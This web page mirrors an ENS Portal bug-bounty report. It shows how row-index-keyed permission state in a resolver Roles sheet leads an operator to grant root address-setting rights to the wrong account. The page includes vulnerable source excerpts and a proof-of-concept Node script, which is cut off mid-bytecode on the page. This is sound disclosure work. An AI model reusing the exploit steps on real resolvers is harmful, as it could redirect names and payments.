Skip to content
Access control Audit finding Advanced

Stale role state tied to the row position in the resolver Roles sheet quietly adds root ROLE_SET_ADDR to a grant, so ENS names resolve to an attacker-controlled address

The Portal's resolver Roles sheet re-seeded its editable permission map based on the table row index rather than the account, so after a holder was removed the sheet showed the removed account's roles under the next account's identity. An operator relying on that pre-filled baseline could sign a root role grant giving the new account address-setting authority over every name the resolver served, letting it repoint names to itself and collect payments sent to them.

deltabear Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

93129 w a critical stale role state tied to the row position in the resolver roles sheet quietly adds root role set addr to a grant so ens names resolve to an attacker controlled address

Submitted on Sep 14th 2026 at 10:45:28 UTC by @deltabear for Audit Competition | ENS

  • Report ID: #93129
  • Report Type: Websites & Apps
  • Report severity: Critical
  • Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
  • Impacts:
    • Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address

Description

Brief/Intro

The Portal resolver Roles sheet re-seeds its editable permission map on the table row index, not on the account. An operator removes a role holder and then edits the account that shifts up into that index. The account written is read live and is the new account, but the checkboxes still hold the removed account's roles — the sheet presents account A's permission map under account B's identity, misrepresenting B's current roles. Relying on that incorrect pre-fill, the operator makes their one intended change and signs grantRootRoles(ROLE_SET_ADDR | ROLE_SET_CONTENTHASH, B) for account B, which held no address authority a moment earlier. B now sets the address record of every name the resolver serves, points them at B, and every payment sent to those names goes to B. The realized, irreversible harm — a name resolving to an attacker-controlled address — is Critical impact row 317-318; the role grant that causes it is revocable, but the redirected resolution and the funds paid to it are not.

Vulnerability Details

The sheet reads the selected account live but re-seeds the editable permission map only when the table row id changes, and the row id is the array index.

ResolverRolesSidebar.tsx:165-166 reads the account and its roles live off row.original. ResolverRolesSidebar.tsx:181-184 re-seeds editedPermissions only inside if (row && row.id !== prevRowId). row.id is the array index, because DataTable.tsx:38-47 calls useReactTable with no getRowId, so TanStack Table v8 assigns String(index).

Removing a holder shifts the indices. The role list is built in insertion order at resolverRoles.ts:217-220, so dropping one holder moves every later holder up one index. removeUserMutation.onSuccess refetches the list (ResolverRolesSidebar.tsx:278-286). The sheet stays mounted across the removal and the reopen: onDone closes it and resets neither prevRowId nor editedPermissions (ResolverRolesSidebar.tsx:503-508).

So when the operator reopens the index the removed holder vacated, row.id equals prevRowId, the re-seed at :183 does not run, and editedPermissions still holds the removed holder's map. computeRoleChanges then diffs the new account's live roles against the old account's map (ResolverRolesSidebar.tsx:186-193), so Save is live with no input, and it emits the removed account's roles as grants (rolesToPermissions.ts:80-102). The account written is selectedAccount, the new account (ResolverRolesSidebar.tsx:299-302).

For a holder scoped to all names, roleName is '' (ResolverRolesSidebar.tsx:169), so the grant runs with scope root (grantResolverRoles.ts:45-61), which ensjs encodes as grantRootRoles(encodeResolverRoleBitmap(roles), account) (grantResolverRoles.js:22-27). ROLE_SET_ADDR is 1<<0, ROLE_SET_CONTENTHASH is 1<<8, so the stale ROLE_SET_ADDR plus the operator's ROLE_SET_CONTENTHASH encode to 0x101.

The app resets the right state on the wrong trigger. useResetMutationsOnAccountChange.ts:13-21 runs an effect keyed on selectedAccount, the correct identity, and resets the two mutations, but never clears editedPermissions or prevRowId. Two sibling sheets re-seed on the row object and on [open, currentRoles] (useEditedPermissions.ts:15-20, RegistryEditUserSheet.tsx:104-110). This sheet keys on the index, and that is the defect.

This is not a "signed arguments differ from what is displayed" claim: the checkboxes the operator sees (Set Address, plus the Set Content Hash they tick) match the roles that get signed. The defect is one layer up — the pre-filled baseline is account A's roles, not account B's. A diligent operator who notices "Set Address" is checked is still deceived: the sheet asserts this is B's existing state, so the Set Address grant is unintended precisely because the operator was shown that B already held it. The roles table one layer up still shows B with only Set Text (its true roles), so the app simultaneously presents two contradictory states for B. The grant runs before the revoke (ResolverRolesSidebar.tsx:212-238), one signed step; the confirm modal names only the account, Update roles for ${account} (ResolverRolesSidebar.tsx:345-349), and does not re-list the roles.

On chain, grantRootRoles grants at the root resource. setAddr is gated on ROLE_SET_ADDR for the name's resource (PermissionedResolver.sol:665-672), and _effectiveRoles ORs the root resource roles into every resource (EnhancedAccessControl.sol:453-455), so a root grant satisfies that gate for every name.

Vulnerable source code

1. The account is read live, the edit map re-seeds on the row id @ apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:165-166,181-184

TS
  const selectedAccount = row?.original.account as Address
  const decodedRoles = (row?.original.decodedRoles ?? []) as ResolverRoleKey[]
...
  const [prevRowId, setPrevRowId] = useState<string | null>(null)
  if (row && row.id !== prevRowId) {
    setPrevRowId(row.id)
    setEditedPermissions(roleToPermissions(row.original.decodedRoles))
  }

2. row.id is the array index: the table has no getRowId @ apps/portal/src/components/DataTable.tsx:38-47

TS
  const table = useReactTable({
    data,
    columns,
    getCoreRowModel: getCoreRowModel(),
    onSortingChange: setSorting,
    getSortedRowModel: getSortedRowModel(),
    state: { sorting },
  })

3. Remove user refetches the list, shifting every later holder up one index @ apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:278-286

TS
    onSuccess: async () => {
      await pollForIndexerSync({
        invalidateQueries: () =>
          queryClient.invalidateQueries({
            queryKey: ['resolver-overview'],
            refetchType: 'all',
          }),
      })
    },

4. The write is computed from the new account's live roles against the stale map @ apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:186-193

TS
  const { rolesToGrant, rolesToRevoke } = computeRoleChanges(
    decodedRoles as string[],
    editedPermissions,
  )

5. Root scope encodes to grantRootRoles(bitmap, account) @ @ensdomains/ensjs actions/wallet/v2/grantResolverRoles.js:22-27

JavaScript
            return {
                ...base,
                abi: permissionedResolverGrantRootRolesSnippet,
                functionName: 'grantRootRoles',
                args: [encodeResolverRoleBitmap(params.roles), params.targetAccount],
            };

6. The reset hook watches the right identity but leaves the stale map @ apps/portal/src/features/roles/hooks/useResetMutationsOnAccountChange.ts:13-21

TS
  useEffect(() => {
    if (selectedAccount && !saveMutation.isPending && !removeUserMutation.isPending) {
      saveMutation.reset()
      removeUserMutation.reset()
    }
  }, [saveMutation.isPending, removeUserMutation.isPending, saveMutation.reset, removeUserMutation.reset, selectedAccount])

7. The operator sees only the account before signing @ apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:345-349

TS
    .otherwise(() => ({
      id: SAVE_RESOLVER_ROLES_TX_ID,
      title: 'Save resolver role changes',
      transactionName: `Update roles for ${pendingAction?.account ?? ''}`,
    }))

8. setAddr is gated on ROLE_SET_ADDR, and root roles apply to every name @ contracts-v2 @ 8d1c893 PermissionedResolver.sol:665-672, EnhancedAccessControl.sol:185-192

Solidity
    function setAddr(bytes32 node, uint256 coinType, bytes memory addressBytes)
        public
        onlyPartRoles(node, PermissionedResolverLib.partHash(coinType), PermissionedResolverLib.ROLE_SET_ADDR)
    { ... }

    function hasRoles(uint256 resource, uint256 roleBitmap, address account) public view returns (bool) {
        return _effectiveRoles(resource, account) & roleBitmap == roleBitmap; // root roles OR in
    }

Impact Details

This lands on one Critical row, quoted verbatim from the program's Impacts in Scope (scope.md:317-318):

"Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: - resolving or rendering an ENS name to an attacker-controlled address - showing the wrong recipient or amount on a transaction the user then approves"

The governing clause names no attacker; its subject is the application. It requires that the app display or pre-fill an incorrect transaction detail and the user then submit a transaction. Both happen here, and the first "such as" bullet — resolving an ENS name to an attacker-controlled address — is the realized harm.

The incorrect pre-fill. When the operator reopens the row that B slid into, the permission editor is pre-filled with account A's role map (Set Address, at root) under account B's identity. That is an incorrect pre-filled transaction detail: it misrepresents B's current roles (B holds only Set Text). The operator makes their one intended change (tick Set Content Hash) and signs, relying on the app's representation of B's current state — and the transaction grants B root ROLE_SET_ADDR that B never held.

Expected vs actual, before signing (the reviewer's question, answered directly, and proven by the CONTROL run):

  • Expected: reopening B's editor pre-fills B's current roles, Set Text. The operator adds Content Hash → the signed change grants Content Hash only; B ends {Set Text, Content Hash}, no address authority.
  • Actual: the editor pre-fills A's roles, Set Address, under B's header. The operator's single added box makes the signed change grant {Set Address, Content Hash} and revoke {Set Text} → B ends holding root Set Address.
  • The displayed detail that differs from what is signed's effect: the pre-filled checkbox baseline claims B currently holds Set Address; B does not. The roles table one layer up still shows B with only Set Text. The app presents two contradictory states for B, and the false one drives the grant.

This is explicitly not the "Modifying transaction arguments" row: the checkboxes the operator sees (Set Address + the Content Hash they tick) do match the roles signed. The defect is the pre-filled baseline being A's rather than B's — squarely the "pre-fill an incorrect transaction detail" clause above.

The realized, irreversible harm. Once B holds root ROLE_SET_ADDR, B calls setAddr on any name the resolver serves and points it at B; a standard forward resolution (UniversalResolver → resolver.addr(node)) then returns B, and any third party paying that name sends funds to B. The end-to-end PoC drives this in the shipped production Portal against the real audited resolver bytecode on an anvil fork: B's on-chain roles move from 0x10 (Set Text only) to holding ROLE_SET_ADDR, B repoints the name, and a customer's real value transfer to the resolved address lands with B.

B gains authority it did not have. Before: B holds ROLE_SET_TEXT (bitmap 0x10) and setAddr reverts on the real on-chain gate. After: B holds root ROLE_SET_ADDR over every name the resolver serves. This 0 → root address-authority delta is the fact the downgraded sibling #91602 lacked ("does not create authority the controller did not already hold"); here it is created, and the harm is realized on-chain.

Trigger and revocability (stated honestly). B needs no privilege and takes no step to trigger this — B is the ordinary low-role delegate the operator was about to edit. B cannot schedule the trigger; it fires on the operator's own routine sequence (remove a departing holder, then edit the next holder in the list). This is a system-caused misdirection off a normal operator workflow, the same actor structure the program's already-VALIDATED sibling Critical (VALIDATED-poc-portal-transfer-stale-recipient-resolution) carries on this exact row. The role grant is revocable, but the redirected resolution and the funds paid to it before anyone notices are not — revoking B's role afterward does not return them.

Dedup note: QA-01, WEB-1257 and WEB-1305 cover role combinations that make later actions error. The program's own carve-out (scope.md:204): "a demonstrated security consequence of one of them (for example, a role combination that grants authority it should not, rather than merely erroring) goes beyond the known breakage and is a new finding."

References

  • apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:165-166 - account and roles read live off row.original
  • apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:181-184 - editedPermissions re-seeded only when row.id changes
  • apps/portal/src/components/DataTable.tsx:38-47 - useReactTable with no getRowId, so row.id is the array index
  • apps/portal/src/lib/roles/resolverRoles.ts:217-220 - the holder list is returned in insertion order
  • apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:278-286 - Remove user refetches resolver-overview
  • apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:503-508 - onDone resets neither prevRowId nor editedPermissions
  • apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:186-193 - diff of the new account's roles against the stale map
  • apps/portal/src/lib/roles/rolesToPermissions.ts:80-102 - computeRoleChanges emits the stale roles as grants
  • apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:299-302,212-238 - account written is selectedAccount, grant runs before revoke
  • apps/portal/src/features/resolver/helpers/grantResolverRoles.ts:45-61 - name === '' selects scope root
  • @ensdomains/ensjs actions/wallet/v2/grantResolverRoles.js:22-27 - root scope encodes grantRootRoles(encodeResolverRoleBitmap(roles), account)
  • apps/portal/src/features/roles/hooks/useResetMutationsOnAccountChange.ts:13-21 - watches selectedAccount, resets mutations, not editedPermissions
  • apps/portal/src/features/roles/hooks/useEditedPermissions.ts:15-20 - sibling re-seeds on the row object
  • apps/portal/src/features/registry/components/v2/RegistryEditUserSheet.tsx:104-110 - sibling re-seeds on [open, currentRoles]
  • apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:345-349 - confirm step names only the account
  • contracts-v2 @ 8d1c893 PermissionedResolver.sol:665-672 - setAddr gated on ROLE_SET_ADDR for the name's resource
  • contracts-v2 @ 8d1c893 EnhancedAccessControl.sol:185-192,453-455 - _effectiveRoles ORs root resource roles into every resource

Proof of Concept

Bash
node poc.mjs

poc.mjs

JavaScript
#!/usr/bin/env node
//
// The Portal resolver Roles sheet re-seeds its editable permission map on the
// table ROW INDEX, not the account. Remove a holder, reopen the index that
// shifts up, and the sheet builds grantRootRoles(ROLE_SET_ADDR | X, B) for an
// account that had no address authority. B then setAddr's every name the
// resolver serves and collects the payments.
//
//   node poc.mjs
//
// Self-contained. On first run it writes helpers to a temp dir, installs pinned
// deps and re-execs. Nothing runs before it.
//
// LAYER A is the target's OWN code: computeRoleChanges + roleToPermissions from
// apps/portal, the real @tanstack/table-core with DataTable.tsx's option set,
// and ensjs's own grantResolverRolesWriteParameters. They rebuild the calldata;
// this asserts it equals the bytes the shipped app put on the wire.
// LAYER B runs the REAL audited PermissionedResolver bytecode (contracts-v2 @
// 8d1c893, forge-compiled, embedded below) on a real EVM, driven by Layer A's
// calldata. No model contract.

import { spawnSync } from 'node:child_process'
import { existsSync, mkdirSync, writeFileSync } from 'node:fs'
import { createRequire } from 'node:module'
import os from 'node:os'
import path from 'node:path'
import { fileURLToPath } from 'node:url'

const HERE = path.dirname(fileURLToPath(import.meta.url))
const REPO = process.env.ENS_REPO ?? path.resolve(HERE, '../../../ens-apps')
const WORK = process.env.POC_WORKDIR ?? path.join(os.tmpdir(), 'ens-poc-roles-reseed-real')

// grantRootRoles(uint256 roles, address account): roles = 0x101, account = B.
// captured off the wire in the shipped Portal (evidence-manageronly/run.log).
const CAPTURED =
  '0x072d5d770000000000000000000000000000000000000000000000000000000000000101' +
  '000000000000000000000000bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbeef'

const OPERATOR  = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266' // resolver admin, signs the grant
const ALICEOWN  = '0x000000000000000000000000000000000000a11c' // owns alice.eth
const BOBOWN    = '0x000000000000000000000000000000000000b0b0' // owns bob.eth
const CUSTOMER  = '0x00000000000000000000000000000000000000c1' // pays alice.eth

const PKG = "{\n  \"name\": \"ens-poc-roles-reseed-real\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"@ensdomains/ensjs\": \"https://pkg.pr.new/ensdomains/ensjs/@ensdomains/ensjs@e96662c\",\n    \"@ensdomains/ensjs-abi\": \"https://pkg.pr.new/ensdomains/ensjs/@ensdomains/ensjs-abi@e96662c\",\n    \"@tanstack/table-core\": \"8.21.3\",\n    \"@ethereumjs/common\": \"^4.4.0\",\n    \"@ethereumjs/evm\": \"^3.1.0\",\n    \"@ethereumjs/statemanager\": \"^2.4.0\",\n    \"@ethereumjs/util\": \"^9.1.0\",\n    \"viem\": \"2.52.2\"\n  },\n  \"devDependencies\": {\n    \"tsx\": \"^4.19.2\"\n  }\n}"

const LOADER = `import path from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const HERE = path.dirname(fileURLToPath(import.meta.url))
const ANCHOR = pathToFileURL(path.join(HERE, 'poc.mjs')).href
const REPO = process.env.ENS_REPO
const isBare = (s) => !s.startsWith('.') && !s.startsWith('/') && !s.includes(':')
const REPO_PREFIX = path.resolve(REPO).toLowerCase() + path.sep
const isRepoFile = (u) => {
  if (!u || !u.startsWith('file:')) return false
  try { return path.resolve(fileURLToPath(u)).toLowerCase().startsWith(REPO_PREFIX) } catch { return false }
}
export async function resolve(specifier, context, nextResolve) {
  if (specifier.startsWith('@ens-repo/'))
    return nextResolve(pathToFileURL(path.join(REPO, specifier.slice(10))).href, context)
  if (isRepoFile(context.parentURL) && isBare(specifier))
    return nextResolve(specifier, { ...context, parentURL: ANCHOR })
  return nextResolve(specifier, context)
}
`

const REGISTER = `import { register } from 'node:module'
register('./_loader.mjs', import.meta.url)
`

// ============================================================== bootstrap
if (process.env.ENS_POC_CHILD !== '1') {
  const line = '='.repeat(78)
  console.log(line)
  console.log('  ENS PoC: resolver Roles sheet grants root setAddr to a zero-authority')
  console.log('           account; the attacker collects the payments')
  console.log('  contract leg runs the REAL audited PermissionedResolver bytecode')
  console.log(line)
  if (!existsSync(path.join(REPO, 'apps', 'portal', 'src', 'lib', 'roles', 'rolesToPermissions.ts'))) {
    console.error('\nERROR: ENS checkout not found at ' + REPO + '. Set ENS_REPO.')
    process.exit(2)
  }
  mkdirSync(WORK, { recursive: true })
  writeFileSync(path.join(WORK, 'package.json'), PKG)
  writeFileSync(path.join(WORK, '_loader.mjs'), LOADER)
  writeFileSync(path.join(WORK, '_register.mjs'), REGISTER)
  const { copyFileSync } = await import('node:fs')
  copyFileSync(fileURLToPath(import.meta.url), path.join(WORK, 'poc.mjs'))
  if (!existsSync(path.join(WORK, 'node_modules', 'tsx', 'package.json'))) {
    console.log('\nInstalling pinned deps (viem 2.52.2, ensjs @e96662c, table-core 8.21.3, @ethereumjs/evm)...')
    const r = spawnSync('npx', ['--yes', 'pnpm@9', 'install', '--no-frozen-lockfile'],
      { cwd: WORK, stdio: 'inherit', shell: true })
    if (r.status !== 0) process.exit(r.status ?? 1)
  }
  const r = spawnSync(process.execPath,
    ['--import', 'tsx', '--import', './_register.mjs', 'poc.mjs'],
    { cwd: WORK, stdio: 'inherit',
      env: { ...process.env, ENS_POC_CHILD: '1', ENS_REPO: REPO, NODE_NO_WARNINGS: '1' } })
  process.exit(r.status ?? 1)
}

// ============================================================== layer A
const { roleToPermissions, hasPermissionsChanged, computeRoleChanges } = await import(
  '@ens-repo/apps/portal/src/lib/roles/rolesToPermissions.ts')
const { createTable, getCoreRowModel, getSortedRowModel } = await import('@tanstack/table-core')
const { grantResolverRolesWriteParameters } = await import('@ensdomains/ensjs/wallet/v2')
const { encodeAbiParameters, encodeFunctionData, decodeErrorResult, decodeFunctionResult,
        formatEther, getAddress, namehash } = await import('viem')
const { sepolia } = await import('viem/chains')

const B = getAddress('0x' + CAPTURED.slice(-40))

// DataTable.tsx option set, no getRowId, so row.id is the array index.
const buildTable = (data) => {
  let sorting = []
  const t = createTable({
    data, columns: [{ id: 'user', accessorKey: 'account' }],
    getCoreRowModel: getCoreRowModel(),
    onSortingChange: (u) => { sorting = typeof u === 'function' ? u(sorting) : u },
    getSortedRowModel: getSortedRowModel(),
    state: { sorting }, renderFallbackValue: null, onStateChange: () => {},
  })
  t.setOptions((prev) => ({ ...prev, state: { ...t.initialState, sorting } }))
  return t
}
const rowsOf = (data) => buildTable(data).getRowModel().rows

const A = '0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdead'
const C = '0xCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCc0de'
const startList = () => [
  { account: C, decodedRoles: ['ROLE_SET_TEXT'] },
  { account: A, decodedRoles: ['ROLE_SET_ADDR'] },
  { account: B, decodedRoles: ['ROLE_SET_TEXT'] },
]

const replaySheet = (openIndexAfterRemoval) => {
  let prevRowId = null
  let editedPermissions = new Map()
  const openSheet = (row) => {
    if (row.id !== prevRowId) { prevRowId = row.id; editedPermissions = roleToPermissions(row.original.decodedRoles) }
    return editedPermissions
  }
  let rows = rowsOf(startList())
  openSheet(rows.find((r) => r.original.account === A))
  rows = rowsOf(startList().filter((r) => r.account !== A))
  editedPermissions = openSheet(rows[openIndexAfterRemoval])
  const stale = new Map(editedPermissions)
  stale.set('ROLE_SET_CONTENTHASH', { admin: false, manager: true })
  const original = roleToPermissions(rows[openIndexAfterRemoval].original.decodedRoles)
  return {
    account: rows[openIndexAfterRemoval].original.account,
    liveRoles: rows[openIndexAfterRemoval].original.decodedRoles,
    saveLiveWithZeroInput: hasPermissionsChanged(original, editedPermissions),
    ...computeRoleChanges(rows[openIndexAfterRemoval].original.decodedRoles, stale),
  }
}

const buildCalldata = (account, rolesToGrant) => {
  const wp = grantResolverRolesWriteParameters(
    { chain: sepolia, account: { address: OPERATOR } },
    { resolverAddress: '0x9999999999999999999999999999999999999999',
      targetAccount: account, scope: 'root', roles: rolesToGrant })
  return encodeFunctionData({ abi: wp.abi, functionName: wp.functionName, args: wp.args })
}

// ============================================================== EVM (real bytecode)
const { Common, Hardfork } = await import('@ethereumjs/common')
const { EVM } = await import('@ethereumjs/evm')
const { DefaultStateManager } = await import('@ethereumjs/statemanager')
const { Account, Address, hexToBytes } = await import('@ethereumjs/util')

const RESOLVER_ABI = [{"type":"constructor","inputs":[{"name":"namer","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"addr","inputs":[{"name":"node","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"view"},{"type":"function","name":"grantRootRoles","inputs":[{"name":"roleBitmap","type":"uint256","internalType":"uint256"},{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"hasRoles","inputs":[{"name":"resource","type":"uint256","internalType":"uint256"},{"name":"roleBitmap","type":"uint256","internalType":"uint256"},{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"initialize","inputs":[{"name":"admin","type":"address","internalType":"address"},{"name":"roleBitmap","type":"uint256","internalType":"uint256"},{"name":"setters","type":"bytes[]","internalType":"bytes[]"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"roles","inputs":[{"name":"resource","type":"uint256","internalType":"uint256"},{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"setAddr","inputs":[{"name":"node","type":"bytes32","internalType":"bytes32"},{"name":"addr_","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"error","name":"AddressEmptyCode","inputs":[{"name":"target","type":"address","internalType":"address"}]},{"type":"error","name":"DNSDecodingFailed","inputs":[{"name":"dns","type":"bytes","internalType":"bytes"}]},{"type":"error","name":"EACCannotGrantRoles","inputs":[{"name":"resource","type":"uint256","internalType":"uint256"},{"name":"roleBitmap","type":"uint256","internalType":"uint256"},{"name":"account","type":"address","internalType":"address"}]},{"type":"error","name":"EACCannotRevokeRoles","inputs":[{"name":"resource","type":"uint256","internalType":"uint256"},{"name":"roleBitmap","type":"uint256","internalType":"uint256"},{"name":"account","type":"address","internalType":"address"}]},{"type":"error","name":"EACInvalidAccount","inputs":[]},{"type":"error","name":"EACInvalidRoleBitmap","inputs":[{"name":"roleBitmap","type":"uint256","internalType":"uint256"}]},{"type":"error","name":"EACMaxAssignees","inputs":[{"name":"resource","type":"uint256","internalType":"uint256"},{"name":"role","type":"uint256","internalType":"uint256"}]},{"type":"error","name":"EACMinAssignees","inputs":[{"name":"resource","type":"uint256","internalType":"uint256"},{"name":"role","type":"uint256","internalType":"uint256"}]},{"type":"error","name":"EACRootResourceNotAllowed","inputs":[]},{"type":"error","name":"EACUnauthorizedAccountRoles","inputs":[{"name":"resource","type":"uint256","internalType":"uint256"},{"name":"roleBitmap","type":"uint256","internalType":"uint256"},{"name":"account","type":"address","internalType":"address"}]},{"type":"error","name":"ERC1967InvalidImplementation","inputs":[{"name":"implementation","type":"address","internalType":"address"}]},{"type":"error","name":"ERC1967NonPayable","inputs":[]},{"type":"error","name":"FailedCall","inputs":[]},{"type":"error","name":"InvalidContentType","inputs":[{"name":"contentType","type":"uint256","internalType":"uint256"}]},{"type":"error","name":"InvalidEVMAddress","inputs":[{"name":"addressBytes","type":"bytes","internalType":"bytes"}]},{"type":"error","name":"InvalidInitialization","inputs":[]},{"type":"error","name":"NotInitializing","inputs":[]},{"type":"error","name":"UUPSUnauthorizedCallContext","inputs":[]},{"type":"error","name":"UUPSUnsupportedProxiableUUID","inputs":[{"name":"slot","type":"bytes32","internalType":"bytes32"}]},{"type":"error","name":"UnsupportedResolverProfile","inputs":[{"name":"selector","type":"bytes4","internalType":"bytes4"}]}]
const RESOLVER_BYTECODE = '0x60a060405230608052348015610013575f5ffd5b50604051614112380380614112833981016040819052610032916103c2565b61005e5f7f0100000000000000000000000000000001000000000000000000000000000000838261006d565b50610067610168565b50610429565b5f835f0361007c57505f610160565b61008584610205565b6001600160a01b0383166100ac5760405163761fe2c960e11b815260040160405180910390fd5b5f858152602081815260408083206001600160a01b038716845290915290205484811780821461015a575f878152602081815260408083206001600160a01b03891684529091529020819055811986166101088882600161024e565b60408051848152602081018490526001600160a01b038816918a917f0d35bf721a39b614de00ca5038e1deb0cb0c69a278645e83405a7226cf80ba3c910160405180910390a360019350505050610160565b5f925050505b949350505050565b5f61017161037e565b805490915068010000000000000000900460ff16156101a35760405163f92ee8a960e01b815260040160405180910390fd5b80546001600160401b03908116146102025780546001600160401b0319166001600160401b0390811782556040519081527fc7f505b2f371ae2175ee4913f4499e1f2633a7b5936321eed1cdaeb6115181d29060200160405180910390a15b50565b7feeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee811615610202576040516

The original report as published on Immunefi, by deltabear. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The editable permission map was re-seeded only when the table row id changed, and the row id was the array index rather than the account, so a removal shifted accounts into a stale index and the old account's roles were diffed against the new account.

Impact

The new account gains root address authority it did not hold, so it could repoint every name the resolver serves to itself and receive funds paid to those names; the grant is revocable but the redirected resolution and payments are not.

What the attacker needed

Operator removes a role holder; operator reopens the vacated row; victim pays a name the resolver serves

The fix

The sheet should re-seed its permission map from the selected account (or the row object) rather than the row index, and clear the stale map and previous row id when the account changes.

How it was found

  1. Open the roles sheet for a holder scoped to all names, so the permission map is seeded from that account.
  2. Remove that holder, which refetches the list and shifts every later holder up one row index.
  3. Reopen the sheet on the index the removed holder vacated, which now holds a different account.
  4. Observe the checkboxes still show the removed holder's roles while the account shown is the new one.
  5. Tick one extra permission and sign, which grants the new account root address-setting authority.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page that lets an administrator edit who may change ENS names kept its tick-boxes in step with the position of a row in a list, not with the person in that row. When one person was deleted, everyone below moved up a place, so the page showed the deleted person's permissions as if they belonged to the next person. The administrator then approved a change believing it was small, but it actually gave that person the power to redirect every name to themselves.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by deltabear

View all

30 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.